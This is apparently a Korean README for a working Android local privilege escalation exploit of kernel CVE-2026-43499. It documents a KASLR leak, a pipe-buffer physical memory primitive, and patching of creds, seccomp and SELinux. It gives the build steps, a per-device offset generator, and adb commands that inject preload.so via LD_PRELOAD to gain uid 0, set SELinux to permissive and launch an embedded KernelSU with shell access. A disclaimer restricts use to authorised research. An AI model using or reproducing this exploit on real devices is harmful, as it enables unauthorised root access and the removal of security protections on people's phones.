
Android 로컬 권한 상승 익스플로잇으로, CVE-2026-43499를 이용해 커널 creds를 패치하고 LD_PRELOAD를 통해 late-load 모드로 내장된 KernelSU를 실행합니다.
커널 취약점 CVE-2026-43499 기반의 로컬 권한 상승 적응으로, 내장 KernelSU를 통합합니다. 컴파일하여 preload.so를 생성합니다. 트리거에 성공하면 late-load 모드(탈옥 모드)로 KernelSU가 시작됩니다. (xbl_config.img / vendor_boot.img) + boot.img에서 target.h 생성을 지원합니다.
커널 취약점 기반의 로컬 권한 상승 적응으로, 내장 KernelSU를 통합합니다.
컴파일하여 preload.so를 생성합니다. 익스플로잇에 성공하면 KernelSU가 late-load 모드(탈옥 모드)로 시작됩니다.
(xbl_config.img / vendor_boot.img) + boot.img에서 target.h 생성을 지원합니다. 또는 다른 방법도 가능합니다.
참고한 프로젝트:
[!IMPORTANT] 취약점을 무단으로 악용하여 컴퓨터 시스템을 손상시키거나, 침해하거나, 접근 권한을 획득하는 행위는 법으로 금지되어 있습니다. 이 프로젝트는 오직 연구, 교육, 학습 목적으로만 제공되며, 사전 승인이 부여된 시스템과 환경에서만 사용할 수 있습니다. 이 프로젝트의 모든 사용은 사용자 본인의 책임하에 이루어집니다. 저자와 기여자는 이 프로젝트의 오용이나 그 사용으로 인해 발생하는 어떠한 손해, 손실, 법적 결과에 대해서도 책임을 지지 않습니다.
면책 조항: 취약점을 무단으로 이용하여 컴퓨터 시스템에 파괴, 침입 또는 무단 접근을 하는 행위는 관련 법률 및 규정을 위반할 수 있습니다. 이 프로젝트는 합법적으로 승인된 시스템과 환경에서 보안 연구, 학습 및 테스트 목적으로만 사용해야 합니다. 이 프로젝트의 사용, 오용 또는 수정으로 인해 발생하는 직접적 또는 간접적 손실, 법적 책임 및 기타 결과는 모두 사용자가 직접 부담하며, 프로젝트 저자 및 기여자는 어떠한 책임도 지지 않습니다.
커널 버전이 {Linux Kernel}인 경우, 이번 취약점의 영향 범위에 해당합니다
Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349
2.6.39 <= {Linux Kernel} < 6.1.175
6.2 <= {Linux Kernel} < 6.6.140
6.7 <= {Linux Kernel} < 6.12.86
6.13 <= {Linux Kernel} < 6.18.27
6.19 <= {Linux Kernel} < 7.0.4
| Target | 상태 |
|---|---|
rodin(기본) | 검증됨 |
기타 src/targets/* | 참고 |
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # preload.so에 임베드되는 KernelSU userspace binary
├── tools/
│ ├── generate_target.py # 이 저장소의 통합 target.h 생성 진입점
│ └── vendor/ # 상위 디렉터리에서 동기화된 원본 생성 보조 스크립트
└── src/
├── main.c # exploit 메인 흐름
├── preload.c # LD_PRELOAD constructor + ksud 기록/시작
├── root.c # cred/seccomp/SELinux/root patch
├── slide.c # pselect KASLR slide leak
├── fops.c # pselect/FOPS route
├── pipe.c # pipe-buffer phys R/W primitive
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # KernelSnitch helpers
└── targets/
├── rodin/
├── beryl/
└── ...
~/android-ndk-r29ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOTmakegitmake PROJECT=<target> -j$(nproc)
출력:
build/<target>/bin/preload.so
make list-projects
이 저장소에는 이미 통합 target 생성 스크립트가 내장되어 있습니다:
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
tools/generate_target.py가 진입점 스크립트입니다. 상위 디렉터리의 모든 target 생성 흐름을 참고하고 래핑하여, 최종적으로 이 저장소 소스에 맞는 완전한 src/targets/<project>/target.h를 출력합니다.
스크립트는 IKCONFIG의 CONFIG_DEBUG_INFO_BTF=y를 강제로 검증하지 않습니다. 구조체 필드 오프셋이나 percpu entry_task 레이아웃을 검증할 수 없으면 경고를 출력하고 계속 생성합니다.
이미지에 사용 가능한 BTF가 전혀 없는 경우, 예를 들어 다음과 같이 나타나면:
有效 vmlinux BTF 候选不唯一: []
생성기는 BTF 없는 fallback으로 진입합니다:
boot.img의 kallsyms에서 함수/전역 객체 심볼 오프셋을 계속 복원합니다;rodin입니다;without BTF와 사용된 템플릿을 명시하는 warning이 기록됩니다;fallback 템플릿 지정 가능:
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 또는
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
기본 기록 위치:
src/targets/<project>/target.h
스크립트를 직접 호출할 수도 있습니다:
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
profile.json에는 물리 주소 정보가 포함되어야 합니다, 예를 들어:
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
profile만 생성:
make detect-profile PROFILE_OUT=profile.json
profile을 감지하고 즉시 target 생성:
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
스크립트는 상위 디렉터리 생성기가 지원하는 다른 진입점도 함께 노출합니다:
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
성공 출력 형태:
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
rodin은 기본적으로 실기기에서 검증된 다음을 유지합니다:
#define MM_STRUCT_SZ 0x500
재정의가 필요한 경우:
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
일치하는 boot image와 profile에서 생성하는 것을 권장합니다:
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
완전한 target header에는 다음이 포함됩니다:
PSELECT_WAITER_WORD_SHIFTMM_STRUCT_SZ와 KernelSnitch 튜닝 값현재 소스에는 기본값이 이미 기록되어 있어, 정상 실행에는 LD_PRELOAD 설정과 임의 프로그램 실행(권장: toybox id)만 필요합니다.
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
현재 기본 구성은 다음과 같습니다:
기본적으로 실제 실행되는 ksud 명령 동작:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
이 환경 변수들은 런타임에 여전히 재정의할 수 있습니다, 예를 들어:
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
이미 기록된 ksud 재사용:
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
make clean
make clean은 build/embed/ksud를 유지합니다, 왜냐하면 src/ksud_blob.S가 다음 방식으로 이를 임베드하기 때문입니다:
.incbin "build/embed/ksud"
수동 정리로 build/embed/ksud가 손실된 경우, 복구할 수 있습니다:
git checkout -- build/embed/ksud
.incbin "build/embed/ksud" not found내장 payload를 복구한 후 다시 빌드:
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
success=0 반환rodin은 legacy/simple pselect layout 사용을 기대합니다:
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
기기 상태가 실패 시도로 오염된 경우, 재부팅 후 다시 시도하세요:
adb reboot
F_SETPIPE_SZ가 EPERM 반환일반적으로 실패/잔여 시도로 인한 상태 문제이며, 재부팅이 가장 빠른 정리 방법입니다:
adb reboot
ksud는 시작되지만 /proc/modules에 KernelSU가 없음로그 확인:
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
필요 시 root shell에서 수동 실행:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
GPL-3.0. See LICENSE.
| 설정 | 기본값 | 설명 |
|---|
KSUD_LATE_LOAD | 1 | ksud late-load 실행 |
KSUD_ALLOW_SHELL | 1 | --allow-shell 전달 |
KSUD_PACKAGE | me.weishu.kernelsu | ksud에 전달되는 관리자 패키지명(효과 없는 듯함) |
KSUD_DST | /data/local/tmp/ksud | 내장 ksud 기록 경로 |
KSUD_SKIP_WRITE | 0 | 기본적으로 내장 ksud 기록 |
KSUD_DEFER_TO_PARENT | 1 | 이미 patch된 부모/현재 프로세스 경로에서 ksud 시작 |
ROOT_PATCH_SELF | 1 | 현재 프로세스를 uid 0으로 patch |
DISABLE_SELINUX | 1 | root patch 시 SELinux enforcing을 permissive로 기록 |
ROOT_EXIT_SLEEP | unset / 0 | 반환 전 추가 sleep 없음 |